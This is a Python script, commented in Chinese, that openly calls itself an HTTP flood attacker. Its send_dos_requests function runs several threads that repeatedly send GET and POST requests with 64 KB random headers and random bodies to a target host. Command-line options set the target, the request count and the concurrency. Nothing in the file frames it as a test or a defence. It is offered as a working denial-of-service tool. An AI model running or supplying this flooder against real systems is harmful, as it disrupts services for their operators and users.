import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# 配置默认值
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# 设置日志
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """生成长度固定的随机字符串。"""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """为请求生成动态负载。"""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """发送单个 HTTP 请求。"""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"线程 {thread_id} - 请求 {i + 1}: 状态码: {status}, 原因: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"线程 {thread_id} - 请求 {i + 1}: 状态码: {status}, 原因: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"线程 {thread_id} - 发生错误: {e}")
        finally:
            if conn:
                conn.close()

    # 创建并启动线程
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("请求发送完毕")

def parse_args():
    """解析命令行参数。"""
    parser = argparse.ArgumentParser(description="HTTP 请求洪水攻击器")
    parser.add_argument('--host', default=DEFAULT_HOST, help='目标服务器地址')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='目标服务器端口')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='要发送的请求总数')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='并发线程数')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='请求间隔')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='记录请求结果的文件')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"启动洪水攻击器，向 {args.host}:{args.port} 发送 {args.num_requests} 个请求，使用 {args.concurrent_threads} 个线程")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )